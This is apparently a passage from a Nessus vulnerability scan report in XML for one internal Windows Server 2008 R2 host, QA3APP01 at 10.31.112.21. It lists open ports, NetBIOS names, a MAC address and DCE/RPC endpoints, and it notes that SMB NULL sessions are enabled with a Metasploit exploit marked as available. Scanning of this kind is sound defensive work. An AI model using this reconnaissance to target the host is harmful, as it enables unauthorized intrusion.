12852 <solution>Protect your target with an IP filter.</solution>
12853 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
12854 <plugin_output>Port 80/tcp was found to be open</plugin_output>
12855 </ReportItem>
12856 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
12857 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
12858 It shall be reasonably quick even against a firewalled target.
12859
12860 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
12861 <fname>nessus_syn_scanner.nbin</fname>
12862 <plugin_modification_date>2011/04/05</plugin_modification_date>
12863 <plugin_name>Nessus SYN scanner</plugin_name>
12864 <plugin_type>remote</plugin_type>
12865 <risk_factor>None</risk_factor>
12866 <script_version>$Revision: 1.14 $</script_version>
12867 <solution>Protect your target with an IP filter.</solution>
12868 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
12869 <plugin_output>Port 135/tcp was found to be open</plugin_output>
12870 </ReportItem>
12871 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
12872 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
12873 It shall be reasonably quick even against a firewalled target.
12874
12875 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
12876 <fname>nessus_syn_scanner.nbin</fname>
12877 <plugin_modification_date>2011/04/05</plugin_modification_date>
12878 <plugin_name>Nessus SYN scanner</plugin_name>
12879 <plugin_type>remote</plugin_type>
12880 <risk_factor>None</risk_factor>
12881 <script_version>$Revision: 1.14 $</script_version>
12882 <solution>Protect your target with an IP filter.</solution>
12883 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
12884 <plugin_output>Port 139/tcp was found to be open</plugin_output>
12885 </ReportItem>
12886 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
12887 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
12888
12889 - NULL session
12890 - Guest account
12891 - Given Credentials</description>
12892 <exploit_available>true</exploit_available>
12893 <exploit_framework_metasploit>true</exploit_framework_metasploit>
12894 <exploitability_ease>Exploits are available</exploitability_ease>
12895 <fname>smb_login.nasl</fname>
12896 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
12897 <plugin_modification_date>2013/04/23</plugin_modification_date>
12898 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
12899 <plugin_publication_date>2000/05/09</plugin_publication_date>
12900 <plugin_type>remote</plugin_type>
12901 <risk_factor>None</risk_factor>
12902 <script_version>$Revision: 1.136 $</script_version>
12903 <see_also>http://support.microsoft.com/kb/143474
12904 http://support.microsoft.com/kb/246261</see_also>
12905 <solution>n/a</solution>
12906 <synopsis>It is possible to log into the remote host.</synopsis>
12907 <vuln_publication_date>1999/01/01</vuln_publication_date>
12908 <plugin_output>- NULL sessions are enabled on the remote host
12909 </plugin_output>
12910 </ReportItem>
12911 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
12912 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
12913 <fname>smb_nativelanman.nasl</fname>
12914 <plugin_modification_date>2013/06/25</plugin_modification_date>
12915 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
12916 <plugin_publication_date>2001/10/17</plugin_publication_date>
12917 <plugin_type>remote</plugin_type>
12918 <risk_factor>None</risk_factor>
12919 <script_version>$Revision: 1.40 $</script_version>
12920 <solution>n/a</solution>
12921 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
12922 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
12923 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
12924 The remote SMB Domain Name is : RB
12925 </plugin_output>
12926 </ReportItem>
12927 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
12928 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
12929
12930 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
12931 <fname>netbios_name_get.nasl</fname>
12932 <plugin_modification_date>2013/01/16</plugin_modification_date>
12933 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
12934 <plugin_publication_date>1999/10/12</plugin_publication_date>
12935 <plugin_type>remote</plugin_type>
12936 <risk_factor>None</risk_factor>
12937 <script_version>$Revision: 1.77 $</script_version>
12938 <solution>n/a</solution>
12939 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
12940 <plugin_output>The following 3 NetBIOS names have been gathered :
12941
12942 QA3APP01 = Computer name
12943 RB = Workgroup / Domain name
12944 QA3APP01 = File Server Service
12945
12946 The remote host has the following MAC address on its adapter :
12947
12948 00:50:56:81:01:b8</plugin_output>
12949 </ReportItem>
12950 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
12951 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
12952 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
12953 <fname>dcetest.nasl</fname>
12954 <plugin_modification_date>2012/01/31</plugin_modification_date>
12955 <plugin_name>DCE Services Enumeration</plugin_name>
12956 <plugin_publication_date>2001/08/26</plugin_publication_date>
12957 <plugin_type>local</plugin_type>
12958 <risk_factor>None</risk_factor>
12959 <script_version>$Revision: 1.50 $</script_version>
12960 <solution>n/a</solution>
12961 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
12962 <plugin_output>
12963 The following DCERPC services are available on TCP port 49152 :
12964
12965 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
12966 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
12967 Description : Unknown RPC service
12968 Type : Remote RPC service
12969 TCP Port : 49152
12970 IP : 10.31.112.21
12971
12972 </plugin_output>
12973 </ReportItem>
12974 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
12975 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
12976 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
12977 <fname>dcetest.nasl</fname>
12978 <plugin_modification_date>2012/01/31</plugin_modification_date>
12979 <plugin_name>DCE Services Enumeration</plugin_name>
12980 <plugin_publication_date>2001/08/26</plugin_publication_date>
12981 <plugin_type>local</plugin_type>
12982 <risk_factor>None</risk_factor>
12983 <script_version>$Revision: 1.50 $</script_version>
12984 <solution>n/a</solution>
12985 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
12986 <plugin_output>
12987 The following DCERPC services are available on TCP port 49153 :
12988
12989 Object UUID : 00000000-0000-0000-0000-000000000000
12990 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
12991 Description : DHCP Client Service
12992 Windows process : svchost.exe
12993 Annotation : DHCP Client LRPC Endpoint
12994 Type : Remote RPC service
12995 TCP Port : 49153
12996 IP : 10.31.112.21
12997
12998 Object UUID : 00000000-0000-0000-0000-000000000000
12999 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
13000 Description : Unknown RPC service
13001 Annotation : Event log TCPIP
13002 Type : Remote RPC service
13003 TCP Port : 49153
13004 IP : 10.31.112.21
13005
13006 Object UUID : 00000000-0000-0000-0000-000000000000
13007 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
13008 Description : Unknown RPC service
13009 Annotation : NRP server endpoint
13010 Type : Remote RPC service
13011 TCP Port : 49153
13012 IP : 10.31.112.21
13013
13014 Object UUID : 00000000-0000-0000-0000-000000000000
13015 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
13016 Description : Unknown RPC service
13017 Annotation : DHCPv6 Client LRPC Endpoint
13018 Type : Remote RPC service
13019 TCP Port : 49153
13020 IP : 10.31.112.21
13021
13022 </plugin_output>
13023 </ReportItem>
13024 <ReportItem port="49176" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13025 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13026 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13027 <fname>dcetest.nasl</fname>
13028 <plugin_modification_date>2012/01/31</plugin_modification_date>
13029 <plugin_name>DCE Services Enumeration</plugin_name>
13030 <plugin_publication_date>2001/08/26</plugin_publication_date>
13031 <plugin_type>local</plugin_type>
13032 <risk_factor>None</risk_factor>
13033 <script_version>$Revision: 1.50 $</script_version>
13034 <solution>n/a</solution>
13035 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13036 <plugin_output>
13037 The following DCERPC services are available on TCP port 49176 :
13038
13039 Object UUID : 00000000-0000-0000-0000-000000000000
13040 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
13041 Description : Unknown RPC service
13042 Annotation : Remote Fw APIs
13043 Type : Remote RPC service
13044 TCP Port : 49176
13045 IP : 10.31.112.21
13046
13047 Object UUID : 00000000-0000-0000-0000-000000000000
13048 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
13049 Description : IPsec Services (Windows XP &amp; 2003)
13050 Windows process : lsass.exe
13051 Annotation : IPSec Policy agent endpoint
13052 Type : Remote RPC service
13053 TCP Port : 49176
13054 IP : 10.31.112.21
13055
13056 </plugin_output>
13057 </ReportItem>
13058 <ReportItem port="49175" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13059 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13060 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13061 <fname>dcetest.nasl</fname>
13062 <plugin_modification_date>2012/01/31</plugin_modification_date>
13063 <plugin_name>DCE Services Enumeration</plugin_name>
13064 <plugin_publication_date>2001/08/26</plugin_publication_date>
13065 <plugin_type>local</plugin_type>
13066 <risk_factor>None</risk_factor>
13067 <script_version>$Revision: 1.50 $</script_version>
13068 <solution>n/a</solution>
13069 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13070 <plugin_output>
13071 The following DCERPC services are available on TCP port 49175 :
13072
13073 Object UUID : 00000000-0000-0000-0000-000000000000
13074 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
13075 Description : Unknown RPC service
13076 Type : Remote RPC service
13077 TCP Port : 49175
13078 IP : 10.31.112.21
13079
13080 </plugin_output>
13081 </ReportItem>
13082 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13083 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13084 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13085 <fname>dcetest.nasl</fname>
13086 <plugin_modification_date>2012/01/31</plugin_modification_date>
13087 <plugin_name>DCE Services Enumeration</plugin_name>
13088 <plugin_publication_date>2001/08/26</plugin_publication_date>
13089 <plugin_type>local</plugin_type>
13090 <risk_factor>None</risk_factor>
13091 <script_version>$Revision: 1.50 $</script_version>
13092 <solution>n/a</solution>
13093 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13094 <plugin_output>
13095 The following DCERPC services are available on TCP port 49154 :
13096
13097 Object UUID : 00000000-0000-0000-0000-000000000000
13098 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
13099 Description : Unknown RPC service
13100 Type : Remote RPC service
13101 TCP Port : 49154
13102 IP : 10.31.112.21
13103
13104 Object UUID : 00000000-0000-0000-0000-000000000000
13105 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
13106 Description : Unknown RPC service
13107 Annotation : IKE/Authip API
13108 Type : Remote RPC service
13109 TCP Port : 49154
13110 IP : 10.31.112.21
13111
13112 Object UUID : 00000000-0000-0000-0000-000000000000
13113 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
13114 Description : Unknown RPC service
13115 Annotation : IP Transition Configuration endpoint
13116 Type : Remote RPC service
13117 TCP Port : 49154
13118 IP : 10.31.112.21
13119
13120 Object UUID : 00000000-0000-0000-0000-000000000000
13121 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
13122 Description : Unknown RPC service
13123 Annotation : XactSrv service
13124 Type : Remote RPC service
13125 TCP Port : 49154
13126 IP : 10.31.112.21
13127
13128 Object UUID : 73736573-6f69-656e-6e76-000000000000
13129 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13130 Description : Unknown RPC service
13131 Annotation : Impl friendly name
13132 Type : Remote RPC service
13133 TCP Port : 49154
13134 IP : 10.31.112.21
13135
13136 Object UUID : 00000000-0000-0000-0000-000000000000
13137 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13138 Description : Unknown RPC service
13139 Type : Remote RPC service
13140 TCP Port : 49154
13141 IP : 10.31.112.21
13142
13143 </plugin_output>
13144 </ReportItem>
13145 <ReportItem port="49174" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13146 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13147 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13148 <fname>dcetest.nasl</fname>
13149 <plugin_modification_date>2012/01/31</plugin_modification_date>
13150 <plugin_name>DCE Services Enumeration</plugin_name>
13151 <plugin_publication_date>2001/08/26</plugin_publication_date>
13152 <plugin_type>local</plugin_type>
13153 <risk_factor>None</risk_factor>
13154 <script_version>$Revision: 1.50 $</script_version>
13155 <solution>n/a</solution>
13156 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13157 <plugin_output>
13158 The following DCERPC services are available on TCP port 49174 :
13159
13160 Object UUID : 00000000-0000-0000-0000-000000000000
13161 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13162 Description : Security Account Manager
13163 Windows process : lsass.exe
13164 Type : Remote RPC service
13165 TCP Port : 49174
13166 IP : 10.31.112.21
13167
13168 </plugin_output>
13169 </ReportItem>
13170 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13171 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13172 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13173 <fname>dcetest.nasl</fname>
13174 <plugin_modification_date>2012/01/31</plugin_modification_date>
13175 <plugin_name>DCE Services Enumeration</plugin_name>
13176 <plugin_publication_date>2001/08/26</plugin_publication_date>
13177 <plugin_type>local</plugin_type>
13178 <risk_factor>None</risk_factor>
13179 <script_version>$Revision: 1.50 $</script_version>
13180 <solution>n/a</solution>
13181 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13182 <plugin_output>
13183 The following DCERPC services are available remotely :
13184
13185 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
13186 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
13187 Description : Unknown RPC service
13188 Type : Remote RPC service
13189 Named pipe : \PIPE\InitShutdown
13190 Netbios name : \\QA3APP01
13191
13192 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
13193 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
13194 Description : Unknown RPC service
13195 Type : Remote RPC service
13196 Named pipe : \PIPE\InitShutdown
13197 Netbios name : \\QA3APP01
13198
13199 Object UUID : 00000000-0000-0000-0000-000000000000
13200 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13201 Description : Security Account Manager
13202 Windows process : lsass.exe
13203 Type : Remote RPC service
13204 Named pipe : \pipe\lsass
13205 Netbios name : \\QA3APP01
13206
13207 Object UUID : 00000000-0000-0000-0000-000000000000
13208 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13209 Description : Security Account Manager
13210 Windows process : lsass.exe
13211 Type : Remote RPC service
13212 Named pipe : \PIPE\protected_storage
13213 Netbios name : \\QA3APP01
13214
13215 Object UUID : 00000000-0000-0000-0000-000000000000
13216 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
13217 Description : Unknown RPC service
13218 Annotation : WinHttp Auto-Proxy Service
13219 Type : Remote RPC service
13220 Named pipe : \PIPE\W32TIME_ALT
13221 Netbios name : \\QA3APP01
13222
13223 Object UUID : 00000000-0000-0000-0000-000000000000
13224 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
13225 Description : Scheduler Service
13226 Windows process : svchost.exe
13227 Type : Remote RPC service
13228 Named pipe : \PIPE\atsvc
13229 Netbios name : \\QA3APP01
13230
13231 Object UUID : 00000000-0000-0000-0000-000000000000
13232 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
13233 Description : Scheduler Service
13234 Windows process : svchost.exe
13235 Type : Remote RPC service
13236 Named pipe : \PIPE\atsvc
13237 Netbios name : \\QA3APP01
13238
13239 Object UUID : 00000000-0000-0000-0000-000000000000
13240 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
13241 Description : Unknown RPC service
13242 Type : Remote RPC service
13243 Named pipe : \PIPE\atsvc
13244 Netbios name : \\QA3APP01
13245
13246 Object UUID : 00000000-0000-0000-0000-000000000000
13247 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
13248 Description : Unknown RPC service
13249 Annotation : IKE/Authip API
13250 Type : Remote RPC service
13251 Named pipe : \PIPE\atsvc
13252 Netbios name : \\QA3APP01
13253
13254 Object UUID : 00000000-0000-0000-0000-000000000000
13255 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
13256 Description : Unknown RPC service
13257 Annotation : IP Transition Configuration endpoint
13258 Type : Remote RPC service
13259 Named pipe : \PIPE\atsvc
13260 Netbios name : \\QA3APP01
13261
13262 Object UUID : 00000000-0000-0000-0000-000000000000
13263 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
13264 Description : Unknown RPC service
13265 Annotation : XactSrv service
13266 Type : Remote RPC service
13267 Named pipe : \PIPE\atsvc
13268 Netbios name : \\QA3APP01
13269
13270 Object UUID : 73736573-6f69-656e-6e76-000000000000
13271 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13272 Description : Unknown RPC service
13273 Annotation : Impl friendly name
13274 Type : Remote RPC service
13275 Named pipe : \PIPE\atsvc
13276 Netbios name : \\QA3APP01
13277
13278 Object UUID : 73736573-6f69-656e-6e76-000000000000
13279 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13280 Description : Unknown RPC service
13281 Annotation : Impl friendly name
13282 Type : Remote RPC service
13283 Named pipe : \PIPE\srvsvc
13284 Netbios name : \\QA3APP01
13285
13286 Object UUID : 00000000-0000-0000-0000-000000000000
13287 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13288 Description : Unknown RPC service
13289 Type : Remote RPC service
13290 Named pipe : \PIPE\atsvc
13291 Netbios name : \\QA3APP01
13292
13293 Object UUID : 00000000-0000-0000-0000-000000000000
13294 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13295 Description : Unknown RPC service
13296 Type : Remote RPC service
13297 Named pipe : \PIPE\srvsvc
13298 Netbios name : \\QA3APP01
13299
13300 Object UUID : 00000000-0000-0000-0000-000000000000
13301 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
13302 Description : Unknown RPC service
13303 Annotation : Event log TCPIP
13304 Type : Remote RPC service
13305 Named pipe : \pipe\eventlog
13306 Netbios name : \\QA3APP01
13307
13308 Object UUID : 00000000-0000-0000-0000-000000000000
13309 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
13310 Description : Unknown RPC service
13311 Annotation : NRP server endpoint
13312 Type : Remote RPC service
13313 Named pipe : \pipe\eventlog
13314 Netbios name : \\QA3APP01
13315
13316 Object UUID : 00000000-0000-0000-0000-000000000000
13317 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
13318 Description : Unknown RPC service
13319 Annotation : DHCPv6 Client LRPC Endpoint
13320 Type : Remote RPC service
13321 Named pipe : \pipe\eventlog
13322 Netbios name : \\QA3APP01
13323
13324 Object UUID : 00000000-0000-0000-0000-000000000000
13325 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
13326 Description : DHCP Client Service
13327 Windows process : svchost.exe
13328 Annotation : DHCP Client LRPC Endpoint
13329 Type : Remote RPC service
13330 Named pipe : \pipe\eventlog
13331 Netbios name : \\QA3APP01
13332
13333 </plugin_output>
13334 </ReportItem>
13335 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
13336 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
13337 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
13338 <fname>dcetest.nasl</fname>
13339 <plugin_modification_date>2012/01/31</plugin_modification_date>
13340 <plugin_name>DCE Services Enumeration</plugin_name>
13341 <plugin_publication_date>2001/08/26</plugin_publication_date>
13342 <plugin_type>local</plugin_type>
13343 <risk_factor>None</risk_factor>
13344 <script_version>$Revision: 1.50 $</script_version>
13345 <solution>n/a</solution>
13346 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
13347 <plugin_output>
13348 The following DCERPC services are available locally :
13349
13350 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
13351 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
13352 Description : Unknown RPC service
13353 Type : Local RPC service
13354 Named pipe : WindowsShutdown
13355
13356 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
13357 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
13358 Description : Unknown RPC service
13359 Type : Local RPC service
13360 Named pipe : WMsgKRpc07E5C0
13361
13362 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
13363 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
13364 Description : Unknown RPC service
13365 Type : Local RPC service
13366 Named pipe : WindowsShutdown
13367
13368 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
13369 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
13370 Description : Unknown RPC service
13371 Type : Local RPC service
13372 Named pipe : WMsgKRpc07E5C0
13373
13374 Object UUID : 00000000-0000-0000-0000-000000000000
13375 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
13376 Description : DHCP Client Service
13377 Windows process : svchost.exe
13378 Annotation : DHCP Client LRPC Endpoint
13379 Type : Local RPC service
13380 Named pipe : dhcpcsvc
13381
13382 Object UUID : 00000000-0000-0000-0000-000000000000
13383 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
13384 Description : DHCP Client Service
13385 Windows process : svchost.exe
13386 Annotation : DHCP Client LRPC Endpoint
13387 Type : Local RPC service
13388 Named pipe : dhcpcsvc6
13389
13390 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
13391 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
13392 Description : Unknown RPC service
13393 Type : Local RPC service
13394 Named pipe : LRPC-df443e89ecf8c15e6d
13395
13396 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
13397 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
13398 Description : Unknown RPC service
13399 Type : Local RPC service
13400 Named pipe : WMsgKRpc0386841
13401
13402 Object UUID : 6d726574-7273-0076-0000-000000000000
13403 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13404 Description : Unknown RPC service
13405 Annotation : Impl friendly name
13406 Type : Local RPC service
13407 Named pipe : LRPC-2f4f71aa232ed94199
13408
13409 Object UUID : 8c918689-bb45-4b71-8eff-4eab44b2e01d
13410 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13411 Description : Distributed Transaction Coordinator
13412 Windows process : msdtc.exe
13413 Type : Local RPC service
13414 Named pipe : LRPC-d603871610f690971c
13415
13416 Object UUID : faabd54f-4428-4ba7-a096-a1b98a0fb0aa
13417 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13418 Description : Distributed Transaction Coordinator
13419 Windows process : msdtc.exe
13420 Type : Local RPC service
13421 Named pipe : LRPC-d603871610f690971c
13422
13423 Object UUID : d0c76d63-b3e4-463a-a1a1-1a532d15c8fa
13424 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13425 Description : Distributed Transaction Coordinator
13426 Windows process : msdtc.exe
13427 Type : Local RPC service
13428 Named pipe : LRPC-d603871610f690971c
13429
13430 Object UUID : 8e902a22-cc79-4b73-95d0-3dea45234aca
13431 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13432 Description : Distributed Transaction Coordinator
13433 Windows process : msdtc.exe
13434 Type : Local RPC service
13435 Named pipe : LRPC-d603871610f690971c
13436
13437 Object UUID : f550e013-7e90-4af4-b0c7-ed54b5fc6e51
13438 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13439 Description : Distributed Transaction Coordinator
13440 Windows process : msdtc.exe
13441 Type : Local RPC service
13442 Named pipe : OLE558D999F1ED44F9F88802972F642
13443
13444 Object UUID : f550e013-7e90-4af4-b0c7-ed54b5fc6e51
13445 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
13446 Description : Distributed Transaction Coordinator
13447 Windows process : msdtc.exe
13448 Type : Local RPC service
13449 Named pipe : LRPC-d217da6c46bd89bd1d
13450
13451 Object UUID : 00000000-0000-0000-0000-000000000000
13452 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
13453 Description : IPsec Services (Windows XP &amp; 2003)
13454 Windows process : lsass.exe
13455 Annotation : IPSec Policy agent endpoint
13456 Type : Local RPC service
13457 Named pipe : LRPC-3a8836ac77808ce09b
13458
13459 Object UUID : 00000000-0000-0000-0000-000000000000
13460 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13461 Description : Security Account Manager
13462 Windows process : lsass.exe
13463 Type : Local RPC service
13464 Named pipe : LRPC-ec1a17ea2447be0719
13465
13466 Object UUID : 00000000-0000-0000-0000-000000000000
13467 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13468 Description : Security Account Manager
13469 Windows process : lsass.exe
13470 Type : Local RPC service
13471 Named pipe : audit
13472
13473 Object UUID : 00000000-0000-0000-0000-000000000000
13474 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13475 Description : Security Account Manager
13476 Windows process : lsass.exe
13477 Type : Local RPC service
13478 Named pipe : securityevent
13479
13480 Object UUID : 00000000-0000-0000-0000-000000000000
13481 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13482 Description : Security Account Manager
13483 Windows process : lsass.exe
13484 Type : Local RPC service
13485 Named pipe : LSARPC_ENDPOINT
13486
13487 Object UUID : 00000000-0000-0000-0000-000000000000
13488 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13489 Description : Security Account Manager
13490 Windows process : lsass.exe
13491 Type : Local RPC service
13492 Named pipe : lsapolicylookup
13493
13494 Object UUID : 00000000-0000-0000-0000-000000000000
13495 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13496 Description : Security Account Manager
13497 Windows process : lsass.exe
13498 Type : Local RPC service
13499 Named pipe : lsasspirpc
13500
13501 Object UUID : 00000000-0000-0000-0000-000000000000
13502 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13503 Description : Security Account Manager
13504 Windows process : lsass.exe
13505 Type : Local RPC service
13506 Named pipe : protected_storage
13507
13508 Object UUID : 00000000-0000-0000-0000-000000000000
13509 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13510 Description : Security Account Manager
13511 Windows process : lsass.exe
13512 Type : Local RPC service
13513 Named pipe : dsrole
13514
13515 Object UUID : 00000000-0000-0000-0000-000000000000
13516 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
13517 Description : Security Account Manager
13518 Windows process : lsass.exe
13519 Type : Local RPC service
13520 Named pipe : samss lpc
13521
